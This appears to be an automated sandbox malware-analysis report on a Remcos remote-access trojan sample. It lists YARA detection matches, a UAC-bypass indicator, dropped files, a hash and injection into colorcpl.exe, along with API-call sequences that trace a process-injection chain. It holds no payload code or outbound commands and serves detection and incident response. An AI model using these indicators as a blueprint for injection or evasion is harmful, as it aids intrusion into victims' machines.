Source: Yara match	File source: C:\ProgramData\remcos\logs.dat, type: DROPPED

Spam, unwanted Advertisements and Ransom Demands

Contains functionalty to change the wallpaper

Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 5_2_030AA76C SystemParametersInfoW,		5_2_030AA76C
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 10_2_029AA76C SystemParametersInfoW,		10_2_029AA76C

System Summary

Malicious sample detected (through community Yara rule)

Source: 13.2.colorcpl.exe.2c00000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 13.2.colorcpl.exe.2c00000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 13.2.colorcpl.exe.2c00000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
Source: 5.2.colorcpl.exe.3090000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 5.2.colorcpl.exe.3090000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 5.2.colorcpl.exe.3090000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
Source: 10.2.colorcpl.exe.2990000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 10.2.colorcpl.exe.2990000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 10.2.colorcpl.exe.2990000.0.unpack, type: UNPACKEDPE	Matched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
Source: 10.2.colorcpl.exe.2990000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 10.2.colorcpl.exe.2990000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 10.2.colorcpl.exe.2990000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
Source: 5.2.colorcpl.exe.3090000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 5.2.colorcpl.exe.3090000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 5.2.colorcpl.exe.3090000.0.unpack, type: UNPACKEDPE	Matched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
Source: 13.2.colorcpl.exe.2c00000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 13.2.colorcpl.exe.2c00000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 13.2.colorcpl.exe.2c00000.0.unpack, type: UNPACKEDPE	Matched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
Source: 0.2.SEPTobn3BR.exe.2b80000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 0.2.SEPTobn3BR.exe.2b80000.1.unpack, type: UNPACKEDPE	Matched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
Source: 0000000D.00000002.1606949388.0000000002C00000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 0000000D.00000002.1606949388.0000000002C00000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 0000000D.00000002.1606949388.0000000002C00000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
Source: 00000000.00000002.1449264347.000000007E8E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 0000000A.00000002.1526920917.0000000002990000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 0000000A.00000002.1526920917.0000000002990000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 0000000A.00000002.1526920917.0000000002990000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
Source: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
Source: Process Memory Space: SEPTobn3BR.exe PID: 7648, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: colorcpl.exe PID: 7920, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: colorcpl.exe PID: 3232, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: colorcpl.exe PID: 6756, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown

Source: C:\Windows\SysWOW64\colorcpl.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02B98584 NtQueueApcThread,	0_2_02B98584
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02B9DACC RtlDosPa,NtCreateFile,NtWriteFile,NtClose,	0_2_02B9DACC
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02B9DA44 RtlInitUnicodeString,RtlDosPa,NtDeleteFile,	0_2_02B9DA44
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02B9DBB0 RtlDosPa,NtOpenFile,NtQueryInformationFile,NtReadFile,NtClose,	0_2_02B9DBB0
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02B979B4 NtAllocateVirtualMemory,	0_2_02B979B4
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02B97D00 NtWriteVirtualMemory,	0_2_02B97D00
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02B98BB0 GetThreadContext,SetThreadContext,NtResumeThread,	0_2_02B98BB0
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02B98BAE GetThreadContext,SetThreadContext,NtResumeThread,	0_2_02B98BAE
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02B979B2 NtAllocateVirtualMemory,	0_2_02B979B2
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02B9D9F0 RtlInitUnicodeString,RtlDosPa,NtDeleteFile,	0_2_02B9D9F0
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Code function: 7_2_02C08584 NtQueueApcThread,	7_2_02C08584
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Code function: 7_2_02C0DACC NtCreateFile,NtWriteFile,NtClose,	7_2_02C0DACC
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Code function: 7_2_02C0DA44 NtDeleteFile,	7_2_02C0DA44
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Code function: 7_2_02C0DBB0 NtOpenFile,NtReadFile,NtClose,	7_2_02C0DBB0
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Code function: 7_2_02C079B4 NtAllocateVirtualMemory,	7_2_02C079B4
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Code function: 7_2_02C07D00 NtWriteVirtualMemory,	7_2_02C07D00
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Code function: 7_2_02C0D9F0 NtDeleteFile,	7_2_02C0D9F0
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Code function: 7_2_02C079B2 NtAllocateVirtualMemory,	7_2_02C079B2
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Code function: 11_2_02C48584 NtQueueApcThread,	11_2_02C48584
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Code function: 11_2_02C4DACC RtlDosPathNameToNtPathName_U,NtCreateFile,NtWriteFile,NtClose,	11_2_02C4DACC
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Code function: 11_2_02C4DA44 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,	11_2_02C4DA44
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Code function: 11_2_02C4DBB0 RtlDosPathNameToNtPathName_U,NtOpenFile,NtReadFile,NtClose,	11_2_02C4DBB0
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Code function: 11_2_02C479B4 NtAllocateVirtualMemory,	11_2_02C479B4
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Code function: 11_2_02C47D00 NtWriteVirtualMemory,	11_2_02C47D00
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Code function: 11_2_02C48BAE GetThreadContext,SetThreadContext,NtResumeThread,	11_2_02C48BAE
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Code function: 11_2_02C48BB0 GetThreadContext,SetThreadContext,NtResumeThread,	11_2_02C48BB0
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Code function: 11_2_02C4D9F0 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,	11_2_02C4D9F0
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Code function: 11_2_02C479B2 NtAllocateVirtualMemory,	11_2_02C479B2

Source: C:\Users\user\Desktop\SEPTobn3BR.exe

Code function: 0_2_02B9EC74 InetIsOffline,CoInitialize,CoUninitialize,Sleep,MoveFileA,MoveFileA,CreateProcessAsUserW,ResumeThread,CloseHandle,CloseHandle,ExitProcess,

0_2_02B9EC74

Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 5_2_030A4DB4 ExitWindowsEx,LoadLibraryA,GetProcAddress,		5_2_030A4DB4
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 10_2_029A4DB4 ExitWindowsEx,LoadLibraryA,GetProcAddress,		10_2_029A4DB4

Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02C16316	0_2_02C16316
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02B820C4	0_2_02B820C4
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02C0614F	0_2_02C0614F
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02C2C135	0_2_02C2C135
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02C066DE	0_2_02C066DE
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02BFE43B	0_2_02BFE43B
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02C32960	0_2_02C32960
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02BFCEA3	0_2_02BFCEA3
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02C06EF0	0_2_02C06EF0
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02C1EF58	0_2_02C1EF58
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02C12C87	0_2_02C12C87
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02C24C8C	0_2_02C24C8C
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02C06D87	0_2_02C06D87
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02C1F3B6	0_2_02C1F3B6
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02C1F187	0_2_02C1F187
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02C31A97	0_2_02C31A97
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02C17A9C	0_2_02C17A9C
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: 0_2_02BF3E6F	0_2_02BF3E6F
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 5_2_030E13D4	5_2_030E13D4
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 5_2_030C5286	5_2_030C5286
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 5_2_030B5152	5_2_030B5152
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 5_2_030D3700	5_2_030D3700
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 5_2_030B57FB	5_2_030B57FB
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 5_2_030C569E	5_2_030C569E
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 5_2_030C16FB	5_2_030C16FB
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 5_2_030E050B	5_2_030E050B
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 5_2_030C6510	5_2_030C6510
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 5_2_030DABA9	5_2_030DABA9
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 5_2_030B4BC3	5_2_030B4BC3
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 5_2_030CDBFB	5_2_030CDBFB
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 5_2_030C5AD3	5_2_030C5AD3
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 5_2_030AB917	5_2_030AB917
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 5_2_030B5964	5_2_030B5964
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 5_2_030CD9CC	5_2_030CD9CC
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 5_2_030A28E3	5_2_030A28E3
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 5_2_030C5F08	5_2_030C5F08
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 5_2_030CDE2A	5_2_030CDE2A
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 5_2_030ACEAF	5_2_030ACEAF
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 5_2_030C4D8A	5_2_030C4D8A
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 5_2_030C3C0B	5_2_030C3C0B
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Code function: 7_2_02BF20C4	7_2_02BF20C4
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 10_2_029C5286	10_2_029C5286
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 10_2_029E13D4	10_2_029E13D4
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 10_2_029B5152	10_2_029B5152
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 10_2_029C569E	10_2_029C569E
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 10_2_029C16FB	10_2_029C16FB
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 10_2_029B57FB	10_2_029B57FB
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 10_2_029D3700	10_2_029D3700
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 10_2_029C6510	10_2_029C6510
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 10_2_029E050B	10_2_029E050B
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 10_2_029C5AD3	10_2_029C5AD3
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 10_2_029DABA9	10_2_029DABA9
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 10_2_029B4BC3	10_2_029B4BC3
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 10_2_029CDBFB	10_2_029CDBFB
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 10_2_029A28E3	10_2_029A28E3
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 10_2_029CD9CC	10_2_029CD9CC
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 10_2_029AB917	10_2_029AB917
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 10_2_029B5964	10_2_029B5964
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 10_2_029ACEAF	10_2_029ACEAF
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 10_2_029CDE2A	10_2_029CDE2A
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 10_2_029C5F08	10_2_029C5F08
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 10_2_029C3C0B	10_2_029C3C0B
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 10_2_029C4D8A	10_2_029C4D8A
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Code function: 11_2_02C320C4	11_2_02C320C4

Source: Joe Sandbox View

Dropped File: C:\Users\Public\Libraries\Emxwenem.PIF 63C77A3F6CFA94CBC6A4C0C1475F02520592E58D6A03E8553E77A85A3F03C32F

Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: String function: 029C2B90 appears 53 times
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: String function: 030C2B90 appears 53 times
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: String function: 030C2525 appears 41 times
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: String function: 029C2525 appears 41 times
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: String function: 02992073 appears 51 times
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: String function: 03092073 appears 51 times
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Code function: String function: 02C3480C appears 619 times
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Code function: String function: 02C346A4 appears 154 times
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Code function: String function: 02BF46A4 appears 154 times
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Code function: String function: 02BF480C appears 619 times
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Code function: String function: 02C487A0 appears 48 times
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Code function: String function: 02C087A0 appears 48 times
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: String function: 02B844D0 appears 32 times
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: String function: 02B844AC appears 73 times
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: String function: 02B846A4 appears 244 times
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: String function: 02C1411C appears 44 times
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: String function: 02B98824 appears 45 times
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: String function: 02B987A0 appears 54 times
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Code function: String function: 02B8480C appears 931 times

Source: SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B11000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTruesight4 vs SEPTobn3BR.exe
Source: SEPTobn3BR.exe, 00000000.00000003.1403060666.0000000021B65000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs SEPTobn3BR.exe
Source: SEPTobn3BR.exe, 00000000.00000003.1403060666.0000000021B36000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs SEPTobn3BR.exe
Source: SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs SEPTobn3BR.exe
Source: SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTruesight4 vs SEPTobn3BR.exe
Source: SEPTobn3BR.exe, 00000000.00000002.1441622729.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTruesight4 vs SEPTobn3BR.exe
Source: SEPTobn3BR.exe, 00000000.00000003.1402765851.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTruesight4 vs SEPTobn3BR.exe
Source: SEPTobn3BR.exe, 00000000.00000002.1450958581.000000007F192000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs SEPTobn3BR.exe
Source: SEPTobn3BR.exe, 00000000.00000002.1450958581.000000007F192000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTruesight4 vs SEPTobn3BR.exe
Source: SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EB73000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs SEPTobn3BR.exe
Source: SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EB73000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTruesight4 vs SEPTobn3BR.exe
Source: SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTruesight4 vs SEPTobn3BR.exe
Source: SEPTobn3BR.exe, 00000000.00000002.1439132054.0000000020A09000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs SEPTobn3BR.exe
Source: SEPTobn3BR.exe, 00000000.00000002.1439132054.0000000020A09000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTruesight4 vs SEPTobn3BR.exe
Source: SEPTobn3BR.exe, 00000000.00000002.1439132054.0000000020A5A000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs SEPTobn3BR.exe

Source: SEPTobn3BR.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: 13.2.colorcpl.exe.2c00000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 13.2.colorcpl.exe.2c00000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 13.2.colorcpl.exe.2c00000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
Source: 5.2.colorcpl.exe.3090000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 5.2.colorcpl.exe.3090000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 5.2.colorcpl.exe.3090000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
Source: 10.2.colorcpl.exe.2990000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 10.2.colorcpl.exe.2990000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 10.2.colorcpl.exe.2990000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
Source: 10.2.colorcpl.exe.2990000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 10.2.colorcpl.exe.2990000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 10.2.colorcpl.exe.2990000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
Source: 5.2.colorcpl.exe.3090000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 5.2.colorcpl.exe.3090000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 5.2.colorcpl.exe.3090000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
Source: 13.2.colorcpl.exe.2c00000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
